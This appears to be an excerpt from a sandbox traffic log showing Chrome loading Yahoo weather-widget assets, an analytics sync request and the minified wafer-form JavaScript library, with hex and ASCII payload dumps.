2024-04-27 22:41:52 UTC	1199	IN	Data Raw: 32 66 65 39 0d 0a 7b 22 61 73 73 65 74 73 22 3a 7b 22 63 73 73 22 3a 5b 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 63 70 72 6f 70 73 2f 63 6f 6c 6f 72 73 5f 31 2e 31 2e 32 37 2e 6d 69 6e 2e 63 73 73 22 2c 22 6e 61 6d 65 22 3a 22 63 75 73 74 6f 6d 2d 70 72 6f 70 65 72 74 69 65 73 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 2e 32 37 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 74 6f 70 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 66 70 2f 63 73 73 2f 72 65 61 63 74 2d 77 61 66 65 72 2d 77 65 61 74 68 65 72 2e 57 65 61 74 68 65 72 50 72 65 76 69 65 77 52 65 66 72 65 73 68 2e 61 74 6f 6d 69 63 2e 6c 74 72 2e 32 61 32 35 31 61 30 64 64 62 33 64 37 63 34 65 63 31 33 66 34 65 33 35 65 65 33 35 64 64 Data Ascii: 2fe9{"assets":{"css":[{"location":"top","value":"/aaq/cprops/colors_1.1.27.min.css","name":"custom-properties","version":"1.1.27"},{"location":"top","value":"/aaq/fp/css/react-wafer-weather.WeatherPreviewRefresh.atomic.ltr.2a251a0ddb3d7c4ec13f4e35ee35dd
2024-04-27 22:41:52 UTC	196	IN	Data Raw: 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 66 65 74 63 68 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 31 39 2e 31 22 7d 2c 7b 22 6c 6f 63 61 74 69 6f 6e 22 3a 22 62 6f 74 74 6f 6d 22 2c 22 76 61 6c 75 65 22 3a 22 2f 61 61 71 2f 77 66 2f 77 66 2d 69 6d 61 67 65 2d 31 2e 34 2e 30 2d 6d 6f 64 65 72 6e 2e 6a 73 22 2c 22 6e 61 6d 65 22 3a 22 77 61 66 65 72 2d 69 6d 61 67 65 22 2c 22 76 65 72 73 69 6f 6e 22 3a 22 31 2e 34 2e 30 22 7d 5d 7d 2c 22 64 61 74 61 22 3a 7b 7d 2c 22 68 74 6d 6c 22 3a 22 3c 64 69 76 20 69 64 3d 5c 22 67 72 69 64 2d 6c 61 79 6f 75 74 Data Ascii: odern.js","name":"wafer-fetch","version":"1.19.1"},{"location":"bottom","value":"/aaq/wf/wf-image-1.4.0-modern.js","name":"wafer-image","version":"1.4.0"}]},"data":{},"html":"<div id=\"grid-layout
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 5c 22 20 63 6c 61 73 73 3d 5c 22 77 65 61 74 68 65 72 2d 63 61 72 64 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 44 28 66 29 20 41 69 28 63 29 20 4a 63 28 73 62 29 20 4d 62 28 31 34 70 78 29 5c 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 44 28 66 29 20 41 69 28 63 29 5c 22 3e 3c 69 20 63 6c 61 73 73 3d 5c 22 48 28 31 36 70 78 29 20 42 64 65 6e 64 77 28 38 70 78 29 20 4d 65 6e 64 28 31 32 70 78 29 20 42 64 65 6e 64 73 28 73 29 20 42 64 72 73 28 32 70 78 29 20 42 64 65 6e 64 63 28 2d 2d 68 75 6c 6b 2d 70 61 6e 74 73 29 5c 22 3e 3c 2f 69 3e 3c 68 33 20 63 6c 61 73 73 3d 5c 22 54 64 28 6e 29 20 43 28 2d 2d 62 61 74 63 61 76 65 29 20 4d 62 28 30 29 20 46 77 28 36 30 30 29 20 46 7a 28 31 34 70 78 29 5c 22 3e 57 65 61 74 68 65 72 3c 2f 68 33 3e 3c 2f 64 69 Data Ascii: \" class=\"weather-card\"><div class=\"D(f) Ai(c) Jc(sb) Mb(14px)\"><div class=\"D(f) Ai(c)\"><i class=\"H(16px) Bdendw(8px) Mend(12px) Bdends(s) Bdrs(2px) Bdendc(--hulk-pants)\"></i><h3 class=\"Td(n) C(--batcave) Mb(0) Fw(600) Fz(14px)\">Weather</h3></di
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 20 31 2e 31 36 37 2e 36 32 33 20 31 2e 37 34 20 30 43 31 34 2e 31 38 20 32 30 2e 35 31 34 20 32 30 20 31 33 2e 34 38 20 32 30 20 39 2e 34 39 34 20 32 30 20 34 2e 38 30 33 20 31 36 2e 31 39 34 20 31 20 31 31 2e 35 20 31 5c 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 48 69 64 64 65 6e 5c 22 3e 56 69 65 77 20 79 6f 75 72 20 4c 6f 63 61 74 69 6f 6e 73 3c 2f 73 70 61 6e 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 66 6f 72 6d 20 63 6c 61 73 73 3d 5c 22 77 61 66 65 72 2d 66 6f 72 6d 20 77 65 61 74 68 65 72 2d 63 61 72 64 2d 66 6f 72 6d 20 42 64 73 28 73 29 20 42 64 77 28 31 70 78 29 20 44 28 6e 29 20 42 64 63 28 2d 2d 64 69 72 74 79 2d 73 65 61 67 75 6c 6c 29 20 42 67 63 28 2d 2d 77 68 69 74 65 29 20 50 6f 73 28 61 29 20 45 6e 64 Data Ascii: 1.167.623 1.74 0C14.18 20.514 20 13.48 20 9.494 20 4.803 16.194 1 11.5 1\"></path></svg><span class=\"Hidden\">View your Locations</span></button><form class=\"wafer-form weather-card-form Bds(s) Bdw(1px) D(n) Bdc(--dirty-seagull) Bgc(--white) Pos(a) End
2024-04-27 22:41:52 UTC	1205	IN	Data Raw: 77 68 69 74 65 29 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 30 5c 22 20 68 65 69 67 68 74 3d 5c 22 31 34 5c 22 20 76 69 65 77 42 6f 78 3d 5c 22 30 20 30 20 34 38 20 34 38 5c 22 20 64 61 74 61 2d 69 63 6f 6e 3d 5c 22 72 65 6d 6f 76 65 5c 22 3e 3c 70 61 74 68 20 64 3d 5c 22 4d 34 30 20 32 32 48 38 63 2d 31 2e 31 30 34 20 30 2d 32 20 2e 38 39 36 2d 32 20 32 73 2e 38 39 36 20 32 20 32 20 32 68 33 32 63 31 2e 31 30 34 20 30 20 32 2d 2e 38 39 36 20 32 2d 32 73 2d 2e 38 39 36 2d 32 2d 32 2d 32 7a 5c 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 3c 2f 62 75 74 74 6f 6e 3e 3c 2f 64 69 76 3e 3c 2f 74 65 6d 70 6c 61 74 65 3e 3c 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 77 61 66 65 72 2d 67 65 6f 6c 6f 63 61 74 69 6f 6e 20 77 61 66 65 72 2d 74 6f 67 67 6c 65 20 42 Data Ascii: white);stroke-width:0\" height=\"14\" viewBox=\"0 0 48 48\" data-icon=\"remove\"><path d=\"M40 22H8c-1.104 0-2 .896-2 2s.896 2 2 2h32c1.104 0 2-.896 2-2s-.896-2-2-2z\"></path></svg></button></div></template><button class=\"wafer-geolocation wafer-toggle B
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 36 33 20 30 20 31 2e 31 34 35 2d 2e 35 31 35 20 31 2e 31 34 35 2d 31 2e 31 35 20 30 2d 2e 36 33 33 2d 2e 35 31 36 2d 31 2e 31 34 35 2d 31 2e 31 34 36 2d 31 2e 31 34 35 68 2d 32 2e 33 63 2d 2e 35 32 2d 36 2e 30 37 38 2d 35 2e 33 37 2d 31 30 2e 39 33 36 2d 31 31 2e 34 35 36 2d 31 31 2e 34 38 35 56 31 2e 30 34 35 63 30 2d 2e 36 33 33 2d 2e 35 31 36 2d 31 2e 31 34 37 2d 31 2e 31 35 2d 31 2e 31 34 37 7a 4d 31 34 2e 38 30 32 20 35 2e 36 32 76 32 2e 33 31 63 30 20 2e 36 33 34 2e 35 31 32 20 31 2e 31 34 36 20 31 2e 31 34 36 20 31 2e 31 34 36 2e 36 33 34 20 30 20 31 2e 31 34 38 2d 2e 35 31 32 20 31 2e 31 34 38 2d 31 2e 31 34 36 56 35 2e 36 32 63 34 2e 38 32 2e 35 33 33 20 38 2e 36 35 33 20 34 2e 33 37 20 39 2e 31 35 36 20 39 2e 31 38 33 48 32 33 2e 39 37 63 2d 2e Data Ascii: 63 0 1.145-.515 1.145-1.15 0-.633-.516-1.145-1.146-1.145h-2.3c-.52-6.078-5.37-10.936-11.456-11.485V1.045c0-.633-.516-1.147-1.15-1.147zM14.802 5.62v2.31c0 .634.512 1.146 1.146 1.146.634 0 1.148-.512 1.148-1.146V5.62c4.82.533 8.653 4.37 9.156 9.183H23.97c-.
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 39 20 31 37 63 2d 34 2e 34 31 38 20 30 2d 38 2d 33 2e 35 38 32 2d 38 2d 38 20 30 2d 34 2e 34 32 20 33 2e 35 38 32 2d 38 20 38 2d 38 73 38 20 33 2e 35 38 20 38 20 38 63 30 20 31 2e 38 35 2d 2e 36 33 34 20 33 2e 35 35 2d 31 2e 36 39 20 34 2e 39 30 35 6c 37 2e 34 30 33 20 37 2e 34 30 34 63 2e 33 39 2e 33 38 36 2e 33 39 20 31 2e 30 31 35 20 30 20 31 2e 34 30 33 5c 22 3e 3c 2f 70 61 74 68 3e 3c 2f 73 76 67 3e 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 50 6f 73 28 72 29 20 57 28 31 30 30 25 29 5c 22 3e 3c 6c 61 62 65 6c 20 63 6c 61 73 73 3d 5c 22 44 28 6e 29 5c 22 20 66 6f 72 3d 5c 22 77 65 61 74 68 65 72 2d 61 75 74 6f 63 6f 6d 70 6c 65 74 65 5c 22 3e 45 6e 74 65 72 20 43 69 74 79 20 6f 72 20 5a 69 70 63 6f 64 65 3c 2f 6c 61 62 65 6c 3e 3c 69 6e 70 75 74 20 74 79 Data Ascii: 9 17c-4.418 0-8-3.582-8-8 0-4.42 3.582-8 8-8s8 3.58 8 8c0 1.85-.634 3.55-1.69 4.905l7.403 7.404c.39.386.39 1.015 0 1.403\"></path></svg><div class=\"Pos(r) W(100%)\"><label class=\"D(n)\" for=\"weather-autocomplete\">Enter City or Zipcode</label><input ty

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.4	49848	34.200.65.202	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	1069	OUT	GET /ups/58824/sync?format=json&gdpr=false&gdpr_consent=&gpp=DBAA&gpp_sid=-1&us_privacy=1YNN HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: application/json sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; IDSYNC=19cw~2i3y; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A
2024-04-27 22:41:52 UTC	551	IN	HTTP/1.1 200 OK Date: Sat, 27 Apr 2024 22:41:52 GMT Content-Type: application/json Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: https://www.yahoo.com Access-Control-Allow-Credentials: true Set-Cookie: IDSYNC="19cw~2i3y:19e0~2i3y";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Sun, 27-Apr-2025 22:41:52 GMT;Secure;SameSite=None Vary: Origin P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Age: 0 Transfer-Encoding: chunked Connection: close Server: ATS/9.1.10.112
2024-04-27 22:41:52 UTC	71	IN	Data Raw: 33 63 0d 0a 7b 22 61 78 69 64 22 3a 20 22 65 53 31 77 5a 6a 6c 54 5a 6b 78 4f 52 54 4a 31 52 6c 46 6e 55 48 51 33 55 31 6b 78 4e 6c 63 75 5a 6b 78 76 63 48 6f 79 56 54 4e 7a 51 58 35 42 22 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 3c{"axid": "eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B"}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.4	49849	69.147.92.12	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:41:52 UTC	538	OUT	GET /aaq/wf/wf-form-1.34.5-modern.js HTTP/1.1 Host: s.yimg.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-27 22:41:52 UTC	828	IN	HTTP/1.1 200 OK x-amz-id-2: vxR5X6eZb8yPxIvVjgc4Sen1ZAOf37McgCU+ftfci6Bs+s68SU+Mw2Kp8Yo/AFQx2fd/IKiZWug= x-amz-request-id: DF9NG1CTQ0GM09FR Date: Sat, 27 Apr 2024 22:29:48 GMT Last-Modified: Mon, 13 Nov 2023 22:30:39 GMT ETag: "94d07daa349c254b35ffcda6e54cc754" x-amz-server-side-encryption: AES256 Cache-Control: public,max-age=31536000 x-amz-version-id: DBytk3Q0UWhxEEWk9lh0GV23FbLhPzJr Accept-Ranges: bytes Content-Type: application/javascript Server: ATS Content-Length: 13714 Referrer-Policy: no-referrer-when-downgrade Vary: Origin Age: 725 ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 22 2c 5b 5d 2c 74 29 3a 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 5b 22 77 61 66 65 72 2d 66 6f 72 6d 22 5d 3d 74 28 29 3a 28 65 2e 77 61 66 65 72 3d 65 2e 77 61 66 65 72 7c 7c 7b 7d 2c 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 3d 65 2e 77 61 66 65 72 2e 77 61 66 65 72 73 7c 7c 7b 7d 2c 65 Data Ascii: !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define("wafer-form",[],t):"object"==typeof exports?exports["wafer-form"]=t():(e.wafer=e.wafer\|\|{},e.wafer.wafers=e.wafer.wafers\|\|{},e
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 2b 7b 30 3a 22 34 63 36 34 39 34 39 39 35 37 22 7d 5b 65 5d 2b 22 2e 63 68 75 6e 6b 2e 6a 73 22 3b 76 61 72 20 75 3d 73 65 74 54 69 6d 65 6f 75 74 28 72 2c 31 32 65 34 29 3b 72 65 74 75 72 6e 20 73 2e 6f 6e 65 72 72 6f 72 3d 73 2e 6f 6e 6c 6f 61 64 3d 72 2c 61 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 73 29 2c 6f 7d 2c 74 2e 6d 3d 65 2c 74 2e 63 3d 6e 2c 74 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 72 2c 6e 29 7b 74 2e 6f 28 65 2c 72 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 72 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 31 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 67 65 74 3a 6e 7d 29 7d 2c 74 2e 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 72 3d 65 26 26 65 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3f 66 75 6e Data Ascii: +{0:"4c64949957"}[e]+".chunk.js";var u=setTimeout(r,12e4);return s.onerror=s.onload=r,a.appendChild(s),o},t.m=e,t.c=n,t.d=function(e,r,n){t.o(e,r)\|\|Object.defineProperty(e,r,{configurable:!1,enumerable:!0,get:n})},t.n=function(e){var r=e&&e.__esModule?fun
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 74 75 72 6e 21 74 7c 7c 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 3f 65 3a 74 7d 66 75 6e 63 74 69 6f 6e 20 75 28 65 2c 74 29 7b 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 21 3d 74 79 70 65 6f 66 20 74 26 26 6e 75 6c 6c 21 3d 3d 74 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 2c 20 6e 6f 74 20 22 2b 74 79 70 65 6f 66 20 74 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c Data Ascii: turn!t\|\|"object"!=typeof t&&"function"!=typeof t?e:t}function u(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 64 45 76 65 6e 74 2c 4f 3d 70 2e 75 72 6c 69 66 79 2c 6b 3d 5b 22 68 61 6e 64 6c 65 53 75 62 6d 69 74 22 2c 22 68 61 6e 64 6c 65 4f 6e 43 68 61 6e 67 65 22 2c 22 68 61 6e 64 6c 65 4f 6e 53 75 62 6d 69 74 22 5d 2c 4c 3d 5b 22 61 63 74 69 6f 6e 22 2c 22 66 6f 63 75 73 22 5d 2c 54 3d 22 77 61 66 65 72 2d 66 6f 72 6d 2d 62 6f 75 6e 64 61 72 79 2d 65 72 72 6f 72 22 2c 6a 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 69 6e 70 75 74 22 29 2e 63 68 65 63 6b 56 61 6c 69 64 69 74 79 2c 50 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 65 29 7b 76 61 72 20 72 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 31 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 Data Ascii: dEvent,O=p.urlify,k=["handleSubmit","handleOnChange","handleOnSubmit"],L=["action","focus"],T="wafer-form-boundary-error",j="function"==typeof document.createElement("input").checkValidity,P=function(e){function t(e){var r=arguments.length>1&&void 0!==arg
2024-04-27 22:41:52 UTC	901	IN	Data Raw: 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 74 65 78 74 61 72 65 61 22 29 29 29 2c 42 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 74 72 69 67 67 65 72 2d 73 75 62 6d 69 74 22 29 7d 29 2c 75 2e 5f 75 74 69 6c 3d 6c 28 7b 7d 2c 75 2e 5f 75 74 69 6c 2c 7b 61 63 74 69 6f 6e 3a 63 2c 62 6f 75 6e 64 61 72 79 3a 66 2c 63 61 63 68 65 3a 6e 75 6c 6c 3d 3d 3d 6d 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 3f 30 3a 4e 75 6d 62 65 72 28 6d 29 2c 63 72 69 74 69 63 61 6c 3a 70 2c 63 75 73 74 6f 6d 53 75 63 63 65 73 73 43 6c 61 73 73 3a 76 2c 74 61 72 67 65 74 45 6c 65 6d 3a 53 26 26 28 56 7c 7c 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 53 29 Data Ascii: getElementsByTagName("textarea"))),B.forEach(function(e){e.classList.add("trigger-submit")}),u._util=l({},u._util,{action:c,boundary:f,cache:null===m\|\|void 0===m?0:Number(m),critical:p,customSuccessClass:v,targetElem:S&&(V\|\|document.body).querySelector(S)
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 6c 69 64 49 6e 70 75 74 29 2c 43 28 74 2c 22 63 68 61 6e 67 65 22 2c 65 2e 68 61 6e 64 6c 65 49 6e 70 75 74 43 68 61 6e 67 65 29 2c 43 28 74 2c 22 6b 65 79 64 6f 77 6e 22 2c 65 2e 68 61 6e 64 6c 65 49 6e 70 75 74 43 68 61 6e 67 65 2c 7b 70 61 73 73 69 76 65 3a 21 31 7d 29 29 7d 29 7d 7d 2c 7b 6b 65 79 3a 22 61 64 64 49 6e 70 75 74 45 76 65 6e 74 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 69 6e 70 75 74 45 6c 65 6d 73 3b 74 68 69 73 2e 68 61 6e 64 6c 65 49 6e 76 61 6c 69 64 49 6e 70 75 74 3d 74 68 69 73 2e 68 61 6e 64 6c 65 49 6e 76 61 6c 69 64 49 6e 70 75 74 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 68 61 6e 64 6c 65 49 6e 70 75 74 43 68 61 6e 67 65 3d 74 68 Data Ascii: lidInput),C(t,"change",e.handleInputChange),C(t,"keydown",e.handleInputChange,{passive:!1}))})}},{key:"addInputEvents",value:function(){var e=this,t=this._util.inputElems;this.handleInvalidInput=this.handleInvalidInput.bind(this),this.handleInputChange=th
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 65 71 75 65 73 74 73 3a 7b 67 30 3a 7b 72 65 73 6f 75 72 63 65 3a 22 57 65 61 74 68 65 72 4c 6f 63 61 74 69 6f 6e 53 65 72 76 69 63 65 2e 66 61 76 6f 72 69 74 65 4c 6f 63 61 74 69 6f 6e 22 2c 6f 70 65 72 61 74 69 6f 6e 3a 22 63 72 65 61 74 65 22 2c 70 61 72 61 6d 73 3a 7b 77 6f 65 69 64 3a 73 2c 74 65 72 6d 3a 72 7d 7d 7d 7d 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 29 3a 65 7d 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 65 7d 29 7d 7d 72 65 74 75 72 6e 20 65 7d 7d 2c 7b 6b 65 79 3a 22 66 6f 63 75 73 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 69 66 28 21 74 68 69 73 2e Data Ascii: equests:{g0:{resource:"WeatherLocationService.favoriteLocation",operation:"create",params:{woeid:s,term:r}}}})}).catch(function(){}):e}}).then(function(){return e}).catch(function(){return e})}}return e}},{key:"focus",value:function(){var e=this;if(!this.
2024-04-27 22:41:52 UTC	1300	IN	Data Raw: 64 28 6e 75 6c 6c 2c 72 29 29 2e 63 61 74 63 68 28 72 2e 6f 65 29 7d 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 28 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3e 30 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3f 61 72 67 75 6d 65 6e 74 73 5b 30 5d 3a 7b 7d 29 2e 73 75 62 6d 69 74 46 6f 72 6d 2e 63 61 6c 6c 28 74 2c 65 29 7d 29 3b 69 66 28 21 74 68 69 73 2e 5f 75 74 69 6c 2e 70 65 6e 64 69 6e 67 26 26 73 29 7b 76 61 72 20 66 3d 74 68 69 73 2e 5f 75 74 69 6c 2e 65 6c 65 6d 3b 74 68 69 73 2e 5f 75 74 69 6c 2e 70 65 6e 64 69 6e 67 3d 21 30 2c 74 68 69 73 2e 5f 73 74 61 74 65 2e 73 75 62 6d 69 74 41 6c 6c 6f 77 65 64 3d 21 30 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d Data Ascii: d(null,r)).catch(r.oe)}).then(function(){(arguments.length>0&&void 0!==arguments[0]?arguments[0]:{}).submitForm.call(t,e)});if(!this._util.pending&&s){var f=this._util.elem;this._util.pending=!0,this._state.submitAllowed=!0,f.classList.remove("wafer-form-
2024-04-27 22:41:53 UTC	1300	IN	Data Raw: 6f 69 64 20 30 3b 69 66 28 6d 2e 64 65 73 74 72 6f 79 28 67 29 2c 76 29 7b 76 61 72 20 69 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 69 2e 69 6e 6e 65 72 48 54 4d 4c 3d 72 2e 68 74 6d 6c 3b 76 61 72 20 6f 3d 69 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 76 29 3b 6e 3d 6f 26 26 6f 2e 69 6e 6e 65 72 48 54 4d 4c 7c 7c 72 2e 68 74 6d 6c 7d 65 6c 73 65 20 6e 3d 72 2e 68 74 6d 6c 3b 79 28 67 2c 6e 29 2c 6d 2e 73 79 6e 63 41 73 73 65 74 73 28 72 2e 61 73 73 65 74 73 29 2c 6d 2e 73 79 6e 63 28 67 29 7d 72 65 74 75 72 6e 20 6c 26 26 66 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 6c 29 2c 66 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 77 61 66 65 72 2d 66 6f 72 6d 2d 69 6e 70 72 6f 67 72 65 73 73 22 Data Ascii: oid 0;if(m.destroy(g),v){var i=document.createElement("div");i.innerHTML=r.html;var o=i.querySelector(v);n=o&&o.innerHTML\|\|r.html}else n=r.html;y(g,n),m.syncAssets(r.assets),m.sync(g)}return l&&f.classList.add(l),f.classList.remove("wafer-form-inprogress"
